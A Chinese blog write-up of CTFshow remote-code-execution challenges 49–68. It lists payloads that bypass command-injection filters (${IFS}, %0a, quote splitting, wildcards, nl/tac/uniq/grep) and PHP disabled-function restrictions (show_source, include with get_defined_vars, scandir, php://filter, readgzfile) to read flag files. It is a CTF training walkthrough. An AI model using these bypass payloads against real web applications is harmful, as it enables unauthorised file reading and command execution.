CTFshow-RCE49-68题

49题

image.png

nl<fla""g.php%0a
tac%09fla?????%0a
tac<fl''ag.php%0a

50题

image.png
这里过滤了百分之09 不能使用这个绕过了
还过来 x26 或者 %26 就是不能使用& 这个 但是还是可以是||

nl<fla''g.php||
tac<fla''g.php%0a

51题

image.png
过滤了 最喜欢的tac
使用nl

nl<fla''g.php||  

nl 命令的效果
image.png

52题

image.png
细看 没有过滤 $ 可以使用IFS这种了 前面都过滤了的

nl${IFS}fla''g.php||

image.png
在想为什么 linux可以执行 {nl,a.txt}
image.png
但是在题目里面就执行不了呢
image.png
经过测试 输入的{nl,a.txt} 他是不被执行的
所以空白

53 题

image.png
这里没有了后面的那个||
一开始没注意看 加上了|| 这个 不会回显flag
image.png
这样他只会输出我们的输入的东西
去掉就会输出flag
image.png

nl${IFS}fla?????
nl${IFS}fla''g.php

54题

image.png
过滤很多东西 这里只要是连续性的 读取命令都不行
总结一下wp

payload1:
uniq${IFS}f???.php   没有过滤uniq 这个命令可以使用这个去读取文件 查看源代码得flag

payload2:
解释:https://ctf.show/writeups/1164374
/bin/ca?${IFS}f???.???     使用bin下的命令去读取

payload3:
这里没有过滤grep
grep${IFS}%27fla%27${IFS}f???????%0a

payload4:
cp${IFS}???g.php${IFS}t.txt  直接复制flag.php 给t.txt 然后直接访问t.txt

image.png

55题 ***** 无字母rce

56题 无字母数字的命令执行 *****

57-58 都是无字母rce *****

59题

image.png
题目很简单 ,题目描述是过滤了很多函数导致不能去执行system这些函数
尝试使用代码高亮来解决

1: c=show_source('flag.php');
2: c=highlight_file('flag.php');

image.png

使用var_dump 和 copy来执行
1: c=var_dump(file("flag.php"));
2: c=copy('flag.php','flag.txt');

image.png

使用变量方法 
c=$a=fopen('flag.php','r');while(!feof($a)){$line=fgetc($a);echo $line;}
c=$a=fopen('flag.php','r');while(!feof($a)){$line=fgetcsv($a);echo var_dump($line);}

60题

和上面差不多
但是不能使用var_dump了

61题

image.png
不能使用var_dump 和 使用变量去执行遍历输出了

62题

只能使用show_source函数了 高亮函数也禁用了

63 题

一样

64题

c=show_source('flag.php');
c=include("flag.php");var_dump(get_defined_vars());

c=include(“flag.php”);var_dump(get_defined_vars());
先使用includeJ进行包含flag文件
再使用 var_dump(get_defined_vars()) 来输出当前作用域中所有已定义的变量信息


这段代码使用 PHP 语言,首先通过 include 函数包含一个名为 "flag.php" 的文件,
然后使用 var_dump(get_defined_vars()) 输出当前作用域中所有已定义的变量信息。
具体来说,include("flag.php") 用于包含另一个 PHP 文件的内容。如果 "flag.php" 文件存在并且可被包含,
它的代码将被执行。同时,include 函数的返回值是被包含文件的返回值,
或者在出现错误时返回 false。

接着,var_dump(get_defined_vars()) 会输出当前作用域中所有已定义的变量的信息。
这包括在 "flag.php" 文件中定义的变量,以及当前代码中定义的变量。 
get_defined_vars() 函数返回一个包含所有变量的关联数组,
其中键是变量名,值是变量的值。

65题

一样

66题

image.png
上面两个payload都不行了 。
看着这个函数其实是执行了的 ,但是我们的flag不在这里
image.png

现在执行 查看目录 
c=print_r(scandir("/"));   发现flag.txt  
也可以使用var_dump(scandir("/"));
然后执行 include 函数 
c=include("/flag.txt");var_dump(get_defined_vars());

image.png
flag就出来了

读取flag 这里又可以使用highlight_file 
但是要加上 ../../../ 或者 /flag.txt
c=highlight_file("../.././../../flag.txt");
payload3:
var_dump(scandir('/')); include "php://filter/convert.base64-encode/resource=/flag.txt";

67题

image.png
flag依旧再根目录
image.png

c=include("/flag.txt");var_dump(get_defined_vars()); 依旧使用这个
c=highlight_file("../.././../../flag.txt");

image.png

68题

环境有问题
看了wp 有新思路

c=var_dump(scandir("/")); c=readgzfile("/flag.txt");


这段代码使用 PHP 语言中的 readgzfile 函数来读取一个经过 gzip 压缩的文件 “/flag.txt” 的内容。
具体来说,readgzfile 函数用于读取一个经过 gzip 压缩的文件并将其内容直接输出到浏览器,而不需要显式地使用文件句柄和循环。在这个例子中,读取的文件是 “/flag.txt”。

  • 14
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值